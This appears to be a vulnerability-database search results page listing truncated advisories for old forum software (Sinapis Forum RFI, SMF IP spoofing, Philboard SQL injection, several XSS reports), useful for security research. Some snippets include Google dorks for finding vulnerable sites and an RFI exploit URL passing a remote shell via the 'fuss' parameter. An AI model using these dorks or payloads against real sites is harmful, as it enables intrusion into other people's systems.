8131 matches found
Sinapis Forum 2.2 - sinapis.php?fuss Remote File Inclusion
Sinapis Forum 2.2 - sinapis.php?fuss Remote File Inclusion Sinapis Forum 2.2 Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=forum&title=Sinapis%20ForumGästebuch%20 Dork="Sinapis by scripter.ch" Dork1="inurl:sinapis.php" ERROR: if$fuss != ""include$fuss; rfi coded RFI...
Sinapis Forum 2.2 (sinapis.php fuss) Remote File Include Vulnerability
No description provided by source. Sinapis Forum 2.2 Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=forum&title=Sinapis%20ForumGästebuch%20img%20src=/pics/gbscr.gif Dork="Sinapis by scripter.ch" Dork1="inurl:sinapis.php" ERROR: if$fuss != ""include$fuss; rfi coded RF...
Sinapis Forum 2.2 - 'sinapis.php?fuss' Remote File Inclusion
Sinapis Forum 2.2 Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=forum&title=Sinapis%20ForumGästebuch%20 Dork="Sinapis by scripter.ch" Dork1="inurl:sinapis.php" ERROR: if$fuss != ""include$fuss; rfi coded RFI: http://SITE.com/path//sinapis.php?fuss=SHELL milw0rm.com...
CVE-2006-7013
QueryString.php in Simple Machines Forum SMF 1.0.7 and earlier, and 1.1rc2 and earlier, allows remote attackers to more easily spoof the IP address and evade banning via a modified X-Forwarded-For HTTP header, which is preferred instead of other more reliable sources for the IP address. NOTE: the...
CVE-2006-7013
QueryString.php in Simple Machines Forum SMF 1.0.7 and earlier, and 1.1rc2 and earlier, allows remote attackers to more easily spoof the IP address and evade banning via a modified X-Forwarded-For HTTP header, which is preferred instead of other more reliable sources for the IP address. NOTE: the...
CVE-2006-7013
CVE-2006-7013 affects Simple Machines Forum (SMF) versions 1.0.7 and earlier and 1.1rc2 and earlier. The issue lets remote attackers spoof the user IP and evade bans by manipulating the X-Forwarded-For header, which is treated as the IP source instead of more reliable sources. The root cause is r...
PT-2007-1292 · Simple Machines · Simple Machines Forum
Name of the Vulnerable Software and Affected Versions: Simple Machines Forum SMF versions 1.0.7 and earlier Simple Machines Forum SMF version 1.1rc2 and earlier Description: The issue allows remote attackers to more easily spoof the IP address and evade banning via a modified X-Forwarded-For HTTP...
CVE-2006-7013: Undefined Security Weakness
QueryString.php in Simple Machines Forum SMF 1.0.7 and earlier, and 1.1rc2 and earlier, allows remote attackers to more easily spoof the IP address and evade banning via a modified X-Forwarded-For HTTP header, which is preferred instead of other more reliable sources for the IP address. NOTE: the...
CVE-2007-0920
CVE-2007-0920 describes an SQL injection vulnerability in philboard_forum.asp in Philboard 1.14 and earlier, allowing remote attackers to execute arbitrary SQL commands via the forumid parameter. The initial entry provides the affected component (philboard_forum.asp) and the vulnerability class (...
Philboard <= 1.14 (philboard_forum.asp) SQL Injection Vulnerability
No description provided by source. ---------------------------------------------------- Philboard id Remote SQL Injection ---------------------------------------------------- Bulan: xoron xoron.info - xoron.biz Google Dork : \"Powered by Philboard\" , \"inurl:philboardforum.asp\"...
Philboard <= 1.14 (philboard_forum.asp) SQL Injection Vulnerability
Exploit for unknown platform in category web applications =================================================================== Philboard = 1.14 philboardforum.asp SQL Injection Vulnerability ===================================================================...
philboard 1.14 - philboard_forum.asp SQL Injection
philboard 1.14 - philboardforum.asp SQL Injection ---------------------------------------------------- Philboard id Remote SQL Injection ---------------------------------------------------- Bulan: xoron xoron.info - xoron.biz Google Dork : "Powered by Philboard" , "inurl:philboardforum.asp"...
BtitTracker 1.4 XSS
BtitTracker 1.4 xss Some fields are not sanitized for bad chars or words like javascript. =email field= When new user is registered you can put whatever you want and after that when still in mode "validating" you can change your email to something like "plaintext the field is 30 chars long so it ...
Philboard (id) Remote SQL Injection
---------------------------------------------------- Philboard id Remote SQL Injection ---------------------------------------------------- Bulan: xoron xoron.info - xoron.biz Google Dork : "Powered by Philboard" , "inurl:philboardforum.asp" ----------------------------------------------------...
philboard 1.14 - 'philboard_forum.asp' SQL Injection
---------------------------------------------------- Philboard id Remote SQL Injection ---------------------------------------------------- Bulan: xoron xoron.info - xoron.biz Google Dork : "Powered by Philboard" , "inurl:philboardforum.asp" ----------------------------------------------------...
otscms 2.1.5 - SQL Injection Cross-Site Scripting
otscms 2.1.5 - SQL Injection Cross-Site Scripting Coding 4 Fun Name = OTSCMS 2.1.5 by Wrzasq http://otscms.com ; Class = Sql Injection / XSS ; Download = http://sourceforge.net/project/showfiles.php?groupid=145557 ; Found by = GregStar gregstaratc4f.pl http://c4f.pl ;...
otscms 2.1.5 - SQL Injection / Cross-Site Scripting
Coding 4 Fun Name = OTSCMS 2.1.5 by Wrzasq http://otscms.com ; Class = Sql Injection / XSS ; Download = http://sourceforge.net/project/showfiles.php?groupid=145557 ; Found by = GregStar gregstaratc4f.pl http://c4f.pl ;...
Unfixed XSS vulnerability at just-in.co.uk
Security researcher St@rExT, has submitted on 02/06/2007 a cross-site-scripting XSS vulnerability affecting just-in.co.uk, which at the time of submission ranked 6120747 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 03/06/2007. It is currentl...
Unfixed XSS vulnerability at forum.ormanlim.com
Security researcher St@rExT, has submitted on 02/06/2007 a cross-site-scripting XSS vulnerability affecting forum.ormanlim.com, which at the time of submission ranked 3944584 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 03/06/2007. It is...